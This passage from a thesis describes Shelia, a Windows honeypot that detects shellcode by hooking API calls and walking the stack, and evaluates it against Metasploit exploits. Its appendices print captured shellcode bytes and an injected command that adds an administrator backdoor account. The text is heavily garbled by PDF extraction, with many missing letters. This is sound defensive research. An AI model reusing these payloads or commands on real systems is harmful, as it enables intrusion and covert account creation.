e drivers and user-mode ap-pli
ations. There are over 200 system 
alls in NT's native API and only 21 ofthem are do
umented by Mi
rosoft. Apart from being undo
umented, it is notguaranteed by Mi
rosoft that any modi�
ations are made among the di�erentWindow versions, or even among di�erent servi
e pa
ks. That means that in
ase that a Windows appli
ation intends to maintain 
ompatibility for futureversions of the operating systems, it should be based on one of the availablesubsystems.To set an illustrative example inline, it is possible to analyze what is goingon when a pro
ess 
alls the TerminatePro
ess Win32 API:. t e xt :7 7E616B8 ; BOOL __std
al l TerminatePro
ess (HANDLE hPro
ess ,UINT uExitCode ). t e xt :7 7E616B8 pub l i 
 TerminatePro
ess. t e xt :7 7E616B8 TerminatePro
ess pro
 near ; CODE XREF: Exi tPro
ess+12 j. t e xt :7 7E616B8 ; sub_77EC3509+DA p. text :7 7E616B8. text :7 7E616B8 hPro
ess = dword ptr 4. text :7 7E616B8 uExitCode = dword ptr 8. text :7 7E616B8. text :7 7E616B8 
mp [ esp+hPro
ess ℄ , 0. t e xt :7 7E616BD j z short lo
_77E616D7. text :7 7E616BF push [ esp+uExitCode ℄ ; 1 s t param : Exit 
ode. text :7 7E616C3 push [ esp+4+hPro
ess ℄ ; 2nd param : Handle o f; p r o
 e ss. t e xt :7 7E616C7 
 a l l ds : NtTerminatePro
ess ; NTDLL! NtTerminatePro
essAs 
an be observed, TerminatePro
ess API passes arguments and then exe-
utes NtTerminatePro
ess, exported by NTDLL.DLL. The NTDLL.DLL is thenative API. In other words, fun
tions whose names start with 'Nt' are 
alledthe native API.If we have a look at NtTerminatePro
ess :. t e xt :7 7F5C448 pub l i 
 NtTerminatePro
ess. t e xt :7 7F5C448 NtTerminatePro
ess pro
 near ; CODE XREF: sub_77F68F09+D1 p. text :7 7F5C448 ; Rt lAsser t2+B6 p. text :7 7F5C448 mov eax , 101h ; s y s 
 a l l number : NtTerminatePro
ess. t e xt :7 7F5C44D mov edx , 7FFE0300h ; EDX = 7FFE0300h. text :7 7F5C452 
 a l l edx ; 
 a l l 7FFE0300h. text :7 7F5C454 retn 8. text :7 7F5C454 NtTerminatePro
ess endpit 
an be observed that this native API, in fa
t, only puts the number of thesys
all to EAX and 
alls memory at 7FFE0300h, whi
h is:7FFE0300 8BD4 MOV EDX,ESP7FFE0302 0F34 SYSENTER7FFE0304 C3 RETNTo sum up, NtDll.dll loads the EAX register with the system servi
e numberfor TerminatePro
ess equivalent kernel fun
tion, whi
h happens to be NtTermi-natePro
ess. NtDll.dll also loads EDX with the user sta
k address of the 
allingpro
ess. NtDll.dll then issues and INT 2E or SYSENTER instru
tion to trapto the kernel, where the real work is done. This sequen
e of 
alls is illustratedin �gure 3.1.As 
an be observed, there are di�erent points where one 
ould try to trap a
all to a system servi
e. Sin
e appli
ations load user libraries su
h as kernel32.dll
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Figure 3.1: Sequen
e of 
alls when invoking a system servi
e in Windows (Figuretaken from [7℄)and ntdll.dll into their private address spa
es, user mode hooks 
an dire
tlyoverwrite any of its fun
tions. Another possibility is to 
at
h a system 
allwhile it is being served by the kernel. This kind of hooks is known as a kernelhook. Kernel hooks are deployed as devi
e drivers sin
e they need to be exe
utedin kernel mode. There are di�erent approa
hes for API hooking. Obviously, thedeeper an inter
eption devi
e is situated into the explained sequen
e 
all, themore di�
ult it will be to bypass.However, we must keep in mind that 
lient-side atta
ks are the target of thiswork. Usually, 
lient-side atta
ks will aim to embra
e the highest number ofvi
tims. It 
an be assumed that the payloads they inje
t try to be as portableas possible. That is to say, payloads will usually be based on standard Win32API 
alls.Another reason to expe
t the use of standard API 
alls is that Native APIsdon't support so
ket network 
ommuni
ation. These fun
tions are just imple-mented in the user library ws_32.dll .3.4.1 Pat
hing the APIFigure 3.2 helps the reader to get an idea of how the API inter
eptor we haveused works. Usually, a fun
tion 
ontained in a dynami
 library will start withbytes 
orresponding to a standard preamble. What we have to do is to savethese starting bytes and repla
e them with a jump to our 
ode. On
e the
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Figure 3.2: The inter
eption pro
ess (Figure taken from [8℄)logging routine re
eives 
ontrol from the CPU, it must restore the inter
eptedfun
tion to its previous unhooked state.The API inter
eptor pla
es a JMP instru
tion at the beginning of the targetfun
tion, but not before saving the �rst bytes of the fun
tion to a pre-allo
atedbu�er in memory (a stub). The exa
t number of bytes to be 
opied to the stubmay 
hange depending on the instru
tions whi
h are present at the head of thefun
tion, thus an analysis of assembly instru
tions is required. Similar te
niqueshave been proposed for dynami
ally updating a running operating system [9℄.3.5 Atta
k dete
tionOn
e an API 
all is inter
epted, we need a me
hanism to determine whether thisAPI 
all must be 
onsidered valid or not. The approa
h that we have followedis based on validating whi
h address the API 
all was made from. When anappli
ation is being exe
uted under the Windows platform, the 
ode se
tions ofthe program are loaded in memory regions marked as exe
utable. If a bu�eror heap over�ow o

urs, the payload would have been 
opied into a writablememory region not supposed to 
ontain instru
tions.Our dete
tion atta
k engine is simply analyzing the sta
k to determine fromwhi
h memory address an API 
all was invoked. On
e this address is obtained,it is validated that it is 
ontained into an exe
utable region. If not, an alarm isgenerated. This 
alling address is obtained by means of a te
hnique known assta
k walking.



3.5. ATTACK DETECTION 333.5.1 Sta
k walkingIn this subse
tion we des
ibe the te
hnique of sta
k walking. The informationpresented here is based on [10, 11℄.The sta
k is used for di�erent purposes, but one of the main reasons is tokeep tra
k of the point to whi
h ea
h a
tive subroutine should return 
ontrolwhen it �nishes exe
uting. If, for example, a subroutine DrawRe
tangle 
allsa subroutine DrawLine from four di�erent pla
es, the 
ode of DrawLine musthave a way of knowing whi
h pla
e to return to.In addition to the return address, the sta
k is also used to store the argu-ments to subroutines, as well as lo
al variables. Information pushed onto thesta
k as a result of a fun
tion 
all is 
alled a frame. Compilers use a frame basepointer for referen
ing variables and parameters be
ause their distan
es fromFBP do not 
hange if more push and pop operations are exe
uted.To understand how sta
k frames are built, the following C example 
an be
onsidered:void someFun
tion ( i n t a , in t b , i n t 
 , i n t d ) {
har bu f f e r 1 [ 5 ℄ ;
har bu f f e r 2 [ 1 0 ℄ ;}void main ( ) {someFun
tion ( a , b , 
 , d ) ;} if we disassemble how someFun
tion is invoked, we will get something similarto: push $dpush $
push $bpush $a
 a l l someFun
tionFirst of all, the parameters to the fun
tion are pushed. Se
ondly, a CALLinstru
tion is exe
uted. The address of the next instru
tion to exe
ute in the
alling routine is automati
ally pushed onto the sta
k.Compilers usually generate the following 
ode as the prologue of any fun
-tion: push ebpmov ebp , espsub esp ,20The �rst two lines set up the sta
k frame. This pushes EBP (Extended BP,the register used on Intel platforms as FBP) onto the sta
k to save the previousframe base pointer, and it then 
opies the 
urrent SP onto EBP. This makesEBP the new frame base pointer. The third line �nds spa
e for lo
al variablesby subtra
ting their size from ESP.When the end of a fun
tion is rea
hed, it is exe
uted the epilogue se
tion,whi
h 
onsists on restoring the previous frame base pointer, and returning tothe saved return address.If a subroutine named DrawLine is 
urrently running, having just been 
alledby a subroutine DrawRe
tangle, the top part of the 
all sta
k might be laid outlike �gure 3.3.
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Figure 3.3: Call sta
k layout (Figure taken from [10℄)The te
hnique of sta
k walking is based on the analysis of the informationfound in sta
k frames for determining the 
alling sequen
e that exe
ution hasfollowed before arriving to the 
urrent routine.



Chapter 4Evaluation4.1 Introdu
tionIn this 
hapter we report our evaluation of the e�e
tiveness and usability of ourte
hnique. We 
ondu
ted experiments to measure both its e�e
tiveness in pro-te
ting the system from various atta
ks, and impa
t to the system performan
e.4.2 Prote
tion e�e
tivenessWe evaluated Shelia using known vulnerabilities published with the MetasploitFramework version 2.7 . The following modules:
• Internet Explorer VML Fill Method Exe
ution (ie_vml_re
tfill)
• Windows Meta�le SetAbortPro
 Code Exe
ution (ie_xp_pfv_metafile)
• Apa
he Win32 Chunked en
oding (apa
he_
hunked_win32)were tested against two vulnerable workstations monitored by Shelia with thenext system 
on�guration:
• Windows 2000 SP4
• Windows XP SP2 (DEP prote
tion dea
tived)Ea
h module was used to inje
t the later payloads:
• win32_exe

• win32_adduser
• win32_bind
• win32_downloadexe
 35



36 CHAPTER 4. EVALUATION4.2.1 Vulnerabilities testedVML vulnerabilitySta
k-based bu�er over�ow in the Ve
tor Graphi
s Rendering engine (vgx.dll),as it was used in Mi
rosoft Outlook and Internet Explorer 6.0 on Windows XPSP2, and possibly in other versions, allows remote atta
kers to exe
ute arbitrary
ode via a Ve
tor Markup Language (VML) �le with a long �ll parameter withina re
t tag.WMF vulnerabilityMi
rosoft Windows WMF graphi
s rendering engine is a�e
ted by a remote
ode-exe
ution vulnerability. The vulnerability is an inherent defe
t in the de-sign of WMF �les due to the underlying ar
hite
ture on whi
h they are based.WMFs are a 
olle
tion of 
alls to the Windows GDI (Graphi
s Devi
e In-terfa
e). Code to display a WMF simply passes the 
alls dire
tly to the GDI.One of the 
alls allows a user-supplied fun
tion to be run in 
ase of print spool
an
ellation or error. This fun
tion is stored in the WMF, and 
an be anything,for example, a mali
ious payload. If the fun
tion is registered in the GDI bythe setabortpro
 GDI 
all, and an error in rendering the WMF o

urs, then thepayload will be run.Apa
he 
hunked en
oding vulnerabilityApa
he HTTP Server versions 1.2.2 and later, 1.3 up to and in
luding 1.3.24,and 2.0 up to and in
luding 2.0.36 are vulnerable to a heap bu�er over�ow in theme
hanism that 
al
ulates the size of "
hunked" en
oding. Chunked en
odingis a pro
ess by whi
h a 
lient generates a variable sized "
hunk" of data andnoti�es the Web server of the data's size before transferring it, so that the Webserver 
an allo
ate a bu�er of the 
orre
t size. The Apa
he HTTP Server hasa software �aw that misinterprets the size of in
oming data 
hunks. A remoteatta
ker 
an use this vulnerability to over�ow a bu�er and exe
ute arbitrary
ode or 
ause a denial of servi
e against the a�e
ted Web server.4.2.2 Payloads inje
tedwin32_exe
The result of the win32_exe
 payload is the exe
ution of a shell 
ommand ofthe atta
ker's 
hoosing.win32_adduserThe result of the win32_adduser payload is the adding to the vi
tim host a newuser that will give a

ess to the atta
ker to the 
ompromised workstation.



4.2. PROTECTION EFFECTIVENESS 37win32_bindThe result of the win32_bind payload is a 
ommand shell listening on a port ofthe atta
ker's 
hoosing. The payload 
an be used for remote exploitation afterthe lo
al exploit has been su

essfully delivered. If this payload is delivered, anatta
ker will have a

ess to a 
ommand shell running on the vi
tim host.win32_downloadexe
The win32_downloadexe
is arguably the most relevant of the four payloadssele
ted for our test. Win32_downloadexe
 downloads a �le and exe
utes iton a 
ompromised system. For this test, we 
hose the notepad appli
ation(notepad.exe) to be downloaded on the atta
ked system. It should be notedthat the pro
ess spawned is exe
uted in the ba
kground, so it 
ould only beobserved using the Task Manager. Potential malware that may be deliveredusing win32_downloadexe
 in
ludes spyware, adware, bots, and/or rootkits.Results obtainedShelia do not a
tually prevent exploitation of the system but rather try toattempt to dete
t the exe
ution of shell
ode, by monitoring 
ommon API 
allsused in payloads. As a 
onsequen
e, the su

ess of the utility do not depend onthe kind of vulnerability exploited (bu�er over�ow, heap over�ow, et
.) but onthe a
tions performed by the 
ode inje
ted.Originally, payloads win32_exe
 and win32_adduser 
ouldn't be dete
tedby Shelia. The reason is that these payloads only use an unique API 
all(WinExe
), and before invoking it, one of the following APIs is kept as a returnaddress in the sta
k :
• ExitThread
• ExitPro
ess
• SetUnhandledExpe
tionFilterThe aim pursued in 
arrying out this a
tion is to �nish 
leanly the 
ompromisedpro
ess on
e the sele
ted 
ommand is exe
uted.When Shelia veri�ed whi
h address WinExe
 was invoked from, it deter-mined that it was from a 
orre
t address due to kernell32.dll, the library wherethe previously referred fun
tions reside, is loaded in a exe
utable region.The atta
k dete
tion engine was 
onsequently improved to deal with thedes
ribed situation. After this enhan
ement, Shelia was able to dete
t all theprevious payloads for ea
h vulnerability tested.win32_exe
Shelia was able to log whi
h 
ommand was tried to be exe
uted. Moreover, if
ontainment poli
ies were a
tive, the 
ommand exe
ution was reje
ted.



38 CHAPTER 4. EVALUATIONwin32_adduserThis payload 
an be 
onsidered equivalent to the previous one, with the parti
-ularity of exe
uting the shell 
ommand: net adduser.win32_bindThis payload spawns a 
ommand shell listening for 
ommands from the atta
ker.If no 
ontainment measures were a
tive, Sheila was able to log the 
onversationmaintained between the atta
ker and the 
ommand shell. No matter if SSLen
ryption was a
tivated during network 
ommuni
ation sin
e data is 
aughtunen
rypted at appli
ation level.win32_downloadexe
Shelia was able to identify the payload downloaded and keep it in a spe
ial folder.If 
ontainment measures were a
tive, the payload exe
ution was reje
ted.4.3 Performan
eWe ran a set of mi
ro-ben
hmarks to determine the worst-
ase performan
ehit on system-
all invo
ations, and ma
ro-ben
hmarks to determine the perfor-man
e impa
t on real-world software. We used the Apa
heBen
h ben
hmarkingtool from the Apa
he HTTPServer proje
t for the ma
ro-ben
hmarks. Our re-sults show that Shelia imposes a small performan
e overhead on average forApa
he 2.0.55 (3% redu
tion in request pro
essing 
apability). The ben
hmarkwas run on a 2.8GHz Pentium IV laptop with 512MB of RAM.4.3.1 Mi
ro-ben
hmarksWe wrote a C program that uses the QueryPerforman
eCounter fun
tion tomeasure the system time to invoke di�erent Win32 APIs LIMIT times in a loop(LIMIT=1000).We then divided the total time by LIMIT to get the mean exe
ution timeper invo
ation. We 
olle
ted su
h values from 10 runs, and averaged the me-dian 8 values for ea
h system 
all. Figure 4.1 shows the results for individualmi
roben
hmarks to assess upper-bound performan
e overhead for some poten-tially dangerous system 
alls. The overhead settles in the range 1-2 µ-se
ondsper 4-6 µ-se
onds system
all exe
ution time.4.3.2 Ma
ro-ben
hmarksWe 
hose the Apa
heBen
h ben
hmarking suite for the Apa
he HTTP serverproje
t as a realisti
 ben
hmark for evaluating the performan
e impa
t of Shelia.Apa
he is ideal for this purpose owing to its wide-spread adoption, and to the
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Figure 4.1: Mi
ro-ben
hmark test resultsmetri
 Apa
he Apa
he+Shelia overheadreq./se
. 350.55 ± 2.05 340.32 ± 1.19 2.92 ± 0.90transfer rate [kb/s℄ 24104.53 ± 141.14 23401.23 ± 81.57 2.92 ± 0.90Table 4.1: Shelia ma
ro-ben
hmark: Apa
heBen
h.fa
t that it exer
ises many of the hooked fun
tions su
h as 
onne
t, send, Cre-atePro
ess, ReadFile, and LoadLibrary. We ran the ab tool from Apa
heBen
hwith the parameters: -n 10000 -C 1000 http://lo
alhost/70KB.bin to simulate1000 
on
urrent 
lients making a total of 10,000 requests for a 70KB �le throughthe loopba
k network devi
e (i.e., on the same host as the web server, to avoidnetwork laten
y-indu
ed perturbations to our results). We 
olle
ted and aver-aged the results for 5 runs of ab for ea
h server 
on�guration.Table 4.1 and �gure 4.2 show the results of our ma
ro-ben
hmark tests.The Apa
he server su�ers a small 3% de
rease (though the standard deviation

Figure 4.2: Apa
he Ben
hmark. Request-handling 
apa
ity de
rease measured.
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ates that this de
rease is insigni�
ant) in request-handling 
apa
ity whilerunning under full monitored environment, as 
ompared to running on a sto
ksystem.



Chapter 5Related workIn this 
hapter we are going to 
ompare the system developed with other im-plemented high intera
tion honey
lients.Our aim is not to 
ompare Shelia with low intera
tion honeypots sin
e thedi�eren
es between high and low intera
tion honeypots have been already dis-
ussed in Chapter 1.5.1 HoneyClientHoneyClient [12℄ is a proa
tive honeypot, whi
h a
ts as an Internet Explorer
lient in sear
h of mali
ious servers. Honey
lient makes HTTP requests toweb servers based on a list of provided URLs. After the response is re
eived,Honey
lient evaluates the integrity of the registry and a provided �le list. Anymodi�
ation of the registry or �les would indi
ate a 
ompromise. Honey
lientlogs su
h behaviour with information of the URL that 
aused it.The validation of the system state is a
hieved by means of taking snap-shots of the system before and after visiting a website. This is done by 
al-
ulating MD5 hashes from the �les to monitor, as well as from the registryHKEY_CLASSES_ROOT tree. System dire
tories are also validated to 
he
kif �les were added or deleted.Thus, there is an important philosophi
al di�eren
e between Shelia and Hon-eyClient. While HoneyClient tries to dete
t system modi�
ations su
h as �leadditions and registry 
hanges, Shelia tries to dete
t shell
ode exe
ution.On the other hand, no provisions that would limit the spread of mali
iousa
tivity are implemented in Honey
lient5.2 HoneyMonkeyAs it has already been explained, Mi
rosoft Strider HoneyMonkey [13℄ 
onsistson an array of virtual ma
hines ranging from 
ompletely unpat
hed Windows41



42 CHAPTER 5. RELATED WORKXP ma
hines up through ma
hines whi
h are 
ompletely pat
hed. HoneyMon-key initially 
rawls a website with a vulnerable 
on�guration. If an atta
k isdete
ted, the website is re-examined by the next ma
hine in the pipeline. Whenthe end-of-the-pipeline ma
hine is rea
hed, providing the atta
k is still su

ess-ful, the URL is upgraded to a zero-day exploit.In ea
h virtual ma
hine, a monkey1 is instru
ted to laun
h a browser instan
efor ea
h suspe
t URL and waits for a few minutes. The monkey is not set up to
li
k on any dialog box to permit installation of any software; 
onsequently, anyexe
utable �les that get 
reated outside the browser's temporary folder signalan exploit.In order to tra
k what �les are 
reated during the server intera
tion, Honey-Monkey is based on the Strider Flight Data Re
order whi
h re
ords every single�le and Registry read/write .Strider Flight Data Re
order [14℄ basi
ally 
onsists of a low-level driver thatinter
epts all pro
ess intera
tions with the �le system and the Windows Registry,
alls to the APIs for pro
ess 
reation and binary load a
tivity; and a user modedaemon that 
olle
ts and 
ompresses the tra
e events into log �les and uploadsthem to a 
entral server.Thus, we assume that, after waiting for a few minutes, the log �le is au-tomati
ally revised to determine if any exe
utable �les get 
reated outside thebrowser's temporary folder.HoneyMonkey also relies on other two Mi
rosoft proje
ts to dete
t system
hanges: the Strider Gatekeeper to dete
t any hooking of ASEPs (Auto-StartExtensibility Points, registry entries that 
ould be used to automati
ally exe
utea program) and the Strider GhostBuster anti-rootkit tool to dete
t stealth mal-ware programs.GateKeeper [3℄ is an ASEP 
he
kpointing tool that 
overs the46 ASEPs known to be hooked by hundreds of spyware and malware programs.Strider GhostBuster [15℄ dete
ts API-hiding rootkits by doing a "
ross-viewdi�" between "the truth" and "the lie". It dete
ts hidden �les by 
omparingthe result of invoking Win32 API fun
tions with the information obtained bymeans of Master File Table parsing dete
ts hidden Registry entries by 
omparinga Win32 API s
an with dire
t Registry hive �le parsing and dete
ts hiddenpro
esses by 
omparing a Win32 API s
an with dire
t traversals of the a
tivepro
ess list and other kernel data stru
tures.Thus, as it happened with HoneyClient, HoneyMonkey tries to dete
t systemmodi�
ations while Shelia tries to dete
t shell
ode exe
ution.In brief, Shelia is faster and it requires fewer resour
es than HoneyMonkey.Shelia does not even require a dedi
ated virtual ma
hine as it tries to stop theatta
k in itself.On the other hand, the atta
k dete
tion by HoneyMonkey is quite harder tobypass, as the monitor engine (Strider Flight Data Re
order) works at kernelmode.1A �monkey program� is a program that drives the browser in a way that mimi
s humanuser's operation.



Chapter 6Con
lusions
6.1 A

omplishmentsWe have 
laimed that atta
kers are moving away from server-side atta
ks andfast-spreading worms, in favour of stealthy atta
ks that target 
lients. Finan
ialmotivation and a new business model for malware are the reasons 
ausing this
hange.In 
hapter 2 we designed a system that would be able to attra
t di�erentkind of 
lient-side atta
ks, by means of emulating a user intera
ting with his/heremail. The system designed assumes that the intention of a 
lient-side atta
kis to install some kind of malware into the 
lient workstation, and thus, beforea
hieving it, some kind of appli
ation vulnerability must be exploited to inje
ta payload responsible to download and install the desired malware. The systemdesigned fo
us on inter
epting the payload exe
ution.In 
hapter 3 we des
ribed the implementation of su
h a system and in 
hap-ter 4 we evaluated its prote
tion e�e
tiveness targeting di�erent workstation
on�gurations with di�erent kind of atta
ks.In 
hapter 5 we 
ompared the developed system with other implementedhoney
lients.6.2 LimitationsThe system limitations are mostly related with the te
hnique used to dete
tshell
ode exe
ution. Di�erent te
hniques have been demonstrated to bypassthis kind of prote
tion in [16℄.On the other hand, the system designed is only able to dete
t payloads thatuse the Win32 API 
alls. If the payload is based on another Windows subsystemsu
h as POSIX, or uses 64 bit fun
tions, it will be not dete
ted.43



44 CHAPTER 6. CONCLUSIONS6.3 Future workOur ambition is that the end of this thesis is not going to mean the end of oure�orts on this subje
t. We plan to further enhan
e our design and 
orre
t theweaknesses of our implementation. The main goals of our future work in
lude:
• Better pro
ess monitor engine: we intend to hook system 
alls at kernellevel, instead of hooking them at user level.
• Better atta
k dete
tion engine: we target at improving the atta
k dete
-tion te
hnique designing 
ountermeasures to prevent or impede the waysdes
ribed in [16℄ to defeat the dete
tion of shell
ode exe
ution.
• We will 
onsider the possibility to implement our system as a s
reensaveror ba
kground pro
ess sin
e it does not require a totally dedi
ated 
om-puter to get exe
uted.



Appendix AShelia usageA.1 ParametersShelia is a 
ommand-line tool whose behaviour 
an be determined by indi
atingthe following parameters:
• -appl <exe
utable> : Name of the appli
ation to monitor (
ompulsory)
• -file <file> : Name of the �le to open
• -monitor : A
tivate mode monitor
• -wt <se
onds> : Time in milise
onds to wait for the pro
ess exe
ution
• -
l_
ontainment : A
tivate 
lient 
ontainment measures
• -log <dire
tory> : Indi
ates the log dire
toryShelia only logs the a
tions exe
uted by the monitored pro
ess when an exploithas been dete
ted. To for
e to log all the a
tions, regardless if an exploit haso
urred, the MONITOR mode must be a
tivated by means of the -monitorparameter.The a
tions logged are saved to a �le named log.txt, whi
h is generated intothe log dire
tory.By default, no 
ontainment measures are applied. If CLIENT CONTAIN-MENT is a
tivated by means of the parameter -
l_
ontainment, when anexploit has been dete
ted , the exe
ution of any 
ommand or �le is not longerallowed. In addition, the engine keeps tra
k of all new �les 
reated. If one ofthese is exe
uted, it is 
onsidered as a payload, and saved to the log dire
tory.If a waiting time of zero se
onds is indi
ated, the monitored pro
ess is notautomati
ally �nalized.

45
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Appendix BLog FilesB.1 win32_add_user payloadThis is a sele
tion of the information logged by Shelia after a vulnerable versionof Apa
he was exploited and inje
ted the win32_add_user payload:
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[ 1 1 52 ℄ ∗∗ Pro
ess Creat ion (PID pro
e s s 
 r ea ted i s 3244) ∗∗

∗∗ Load Library ∗∗CreatePro
essAC:\ Ar
hivos de programa\Apa
he2\Apa
he\Apa
he . exe"C: \ Ar
hivos de programa\Apa
he2\Apa
he\Apa
he . exe "
−Z ap1152_C5
− f " 
 : / a r 
h ivos de programa/apa
he2/apa
he/ 
onf /httpd . 
onf "
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[ 3 2 44 ℄ ∗∗ Dete
ted Payload on Pro
ess PID 3244 ∗∗0x7C84479D0x18 0x00 0x00 0x00 0x89 0x45 0xDC 0xFF 0xB6 0x94 0x0F 0x000x00 0x57 0x8B 0x40 0x30 0xFF 0x70 0x18 0xFF 0x15 0x10 0x100x80 0x7C 0x89 0xBE 0x94 0x0F 0x00 0x00 0x83 0x4D 0xFC 0xFF0xE8 0x14 0x00 0x00 0x00 0xE9 0x74 0x79 0xFC 0xFF 0x90 0x900x90 0x90 0x90 0x33 0xFF 0x8B 0x75 0xE0 0x90 0x90 0x90 0x900x90 0xFF 0x15 0xB4 0x10 0x80 0x7C 0xC3 0x6A 0x06 0xE8 0x650x4B 0xFC 0xFF 0xEB 0x06 0x50 0xE8 0x18 0x4C 0xFC 0xFF 0x330xC0 0xE9 0xCF 0x86 0xFD 0xFF 0x50 0xE8 0x0B 0x4C 0xFC 0xFF0x33 0xC0 0xE9 0xFC 0xCC 0xFD 0xFF 0x50 0xE8 0xFE 0x4B 0xFC0xFF 0x33 0xC0 0xE9 0xB5 0x4F 0xFF 0xFF 0x50 0xE8 0xF1 0x4B0xFC 0xFF 0x83 0xC8 0xFF 0xE9 0xCD 0x4F 0xFF 0xFF 0x50 0xE80xE3 0x4B 0xFC 0xFF 0x83 0xC8 0xFF 0xE9 0x84 0xE1 0xFE 0xFF0x6A 0x0F 0x59 0xE9 0xAB 0xE2 0xFC 0xFF 0x90 0x90 0x90 0x900x90 0x8B 0xFF 0x55 0x8B 0xEC 0x81 0xEC 0x1C 0x02 0x00 0x000xA1 0xCC 0x36 0x88 0x7C 0x56 0x8B 0x75 0x08 0x57 0x33 0xFF0x85 0xF6 0x89 0x45 0xFC 0x74 0x17 0x8D 0x85 0xE8 0xFD 0xFF0xFF 0x50 0x56 0xE8 0x08 0xE3 0x01 0x00 0x85 0xC0 0x74 0x060x47 0xE9 0xBA 0xB9 0xFC 0xFF 0x33 0xF6 0xE9 0xB3 0xB9 0xFC47



48 APPENDIX B. LOG FILES0xFF 0x85 0xFF 0x74 0x12 0xB9 0x85 0x00 0x00 0x00 0x8D 0xB50xE8 0xFD 0xFF 0xFF 0xBF 0xA0 0x58 0x88 0x7C 0xF3 0xA5 0x8B0x85 0xE4 0xFD 0xFF 0xFF 0x8B 0x35 0xAC 0x33 0x88 0x7C 0x530xA3 0xAC 0x33 0x88
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[ 3 2 44 ℄ ∗∗ F i l e Exe
ute ∗∗WinExe

md . exe /
 net user he rbe r t boss /ADD&& net l o
a l g roup Administrators he rbe r t /ADD
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−As it 
an be observed, the 
ommands inje
ted are:

• net user herbert boss /ADD
• net lo
algroup Administrators herbert /ADDB.2 win32_downloadexe
 payloadThis is a sele
tion of the information logged by Shelia after a vulnerable versionof Apa
he was exploited and inje
ted the win32_downloadexe
 payload:

−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[ 3 5 16 ℄ ∗∗ Pro
ess Creat ion (PID pro
e s s 
 r ea ted i s 664) ∗∗

∗∗ Load Library ∗∗CreatePro
essAC:\ Ar
hivos de programa\Apa
he2\Apa
he\Apa
he . exe"C: \ Ar
hivos de programa\Apa
he2\Apa
he\Apa
he . exe "
−Z ap3516_C5 −f " 
 : / a r 
h ivos de programa/apa
he2/apa
he/ 
onf /httpd . 
onf "
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[ 6 6 4 ℄ ∗∗ Dete
ted Payload on Pro
ess PID 664 ∗∗0x00B0FC910x4A 0x33 0xC9 0x66 0xB9 0x3C 0x01 0x80 0x34 0x0A 0x99 0xE20xFA 0xEB 0x05 0xE8 0xEB 0xFF 0xFF 0xFF 0xE9 0xD5 0x00 0x000x00 0x5A 0x64 0xA1 0x30 0x00 0x00 0x00 0x8B 0x40 0x0C 0x8B0x70 0x1C 0xAD 0x8B 0x40 0x08 0x8B 0xD8 0x8B 0x73 0x3C 0x8B0x74 0x1E 0x78 0x03 0xF3 0x8B 0x7E 0x20 0x03 0xFB 0x8B 0x4E0x14 0x33 0xED 0x56 0x57 0x51 0x8B 0x3F 0x03 0xFB 0x8B 0xF20x6A 0x0E 0x59 0xF3 0xA6 0x74 0x08 0x59 0x5F 0x83 0xC7 0x040x45 0xE2 0xE9 0x59 0x5F 0x5E 0x8B 0xCD 0x8B 0x46 0x24 0x030xC3 0xD1 0xE1 0x03 0xC1 0x33 0xC9 0x66 0x8B 0x08 0x8B 0x460x1C 0x03 0xC3 0xC1 0xE1 0x02 0x03 0xC1 0x8B 0x00 0x03 0xC30x8B 0xFA 0x8B 0xF7 0x83 0xC6 0x0E 0x8B 0xD0 0x6A 0x04 0x590xE8 0x50 0x00 0x00 0x00 0x83 0xC6 0x0D 0x52 0x56 0xFF 0x570xFC 0x5A 0x8B 0xD8 0x6A 0x01 0x59 0xE8 0x3D 0x00 0x00 0x000x83 0xC6 0x13 0x56 0x46 0x80 0x3E 0x80 0x75 0xFA 0x80 0x360x80 0x5E 0x83 0xEC 0x20 0x8B 0xDC 0x6A 0x20 0x53 0xFF 0x570xEC 0xC7 0x04 0x03 0x5C 0x61 0x2E 0x65 0xC7 0x44 0x03 0x040x78 0x65 0x00 0x00 0x33 0xC0 0x50 0x50 0x53 0x56 0x50 0xFF0x57 0xFC 0x8B 0xDC 0x50 0x53 0xFF 0x57 0xF0 0x50 0xFF 0x57



B.2. WIN32_DOWNLOADEXEC PAYLOAD 490xF4 0x33 0xC0 0xAC 0x85 0xC0 0x75 0xF9 0x51 0x52 0x56 0x530xFF 0xD2 0x5A 0x59 0xAB 0xE2 0xEE 0x33 0xC0 0xC3 0xE8 0x260xFF 0xFF 0xFF 0xEA 0x4E 0x81 0x7C 0x6D 0x13 0x86 0x7C 0x580xC0 0x80 0x7C 0x9C
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[ 6 6 4 ℄ ∗∗ Load Library ∗∗LoadLibraryAurlmon
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[ 6 6 4 ℄ ∗∗ Net Send ∗∗send1 2 7 . 0 . 0 . 180BUFFER − SIZE 308 bytesGET /notepad . exe HTTP/1 .1A

ept : ∗/∗A

ept−En
oding : gzip , d e f l a t eI f−Modified−Sin
e : Thu , 19 Aug 2004 22 : 4 3 : 0 0 GMTI f−None−Mat
h : "0−11200−41252 
 f 4 "User−Agent : Moz i l l a /4 . 0 ( 
ompat ib le ; MSIE 6 . 0 ;Windows NT 5 . 1 ; SV1 ; .NET CLR 1 . 0 . 3 7 0 5 ; .NET CLR 2 . 0 . 5 0727 )Host : 1 2 7 . 0 . 0 . 1Conne
tion : Keep−Alive
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[ 6 6 4 ℄ ∗∗ Net Send ∗∗send1 2 7 . 0 . 0 . 13598BUFFER − SIZE 1 bytes!
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[ 6 6 4 ℄ ∗∗ F i l e Read (Handle 1216) ∗∗NtCreateFi leC: \ Do
uments and Se t t i n g s \ ro
ky\Conf igura
 i on l o 
 a l \Ar
hivos tempora les de In t e rn e t \Content . IE5\BBTV710W\notepad [ 1 ℄ . exe
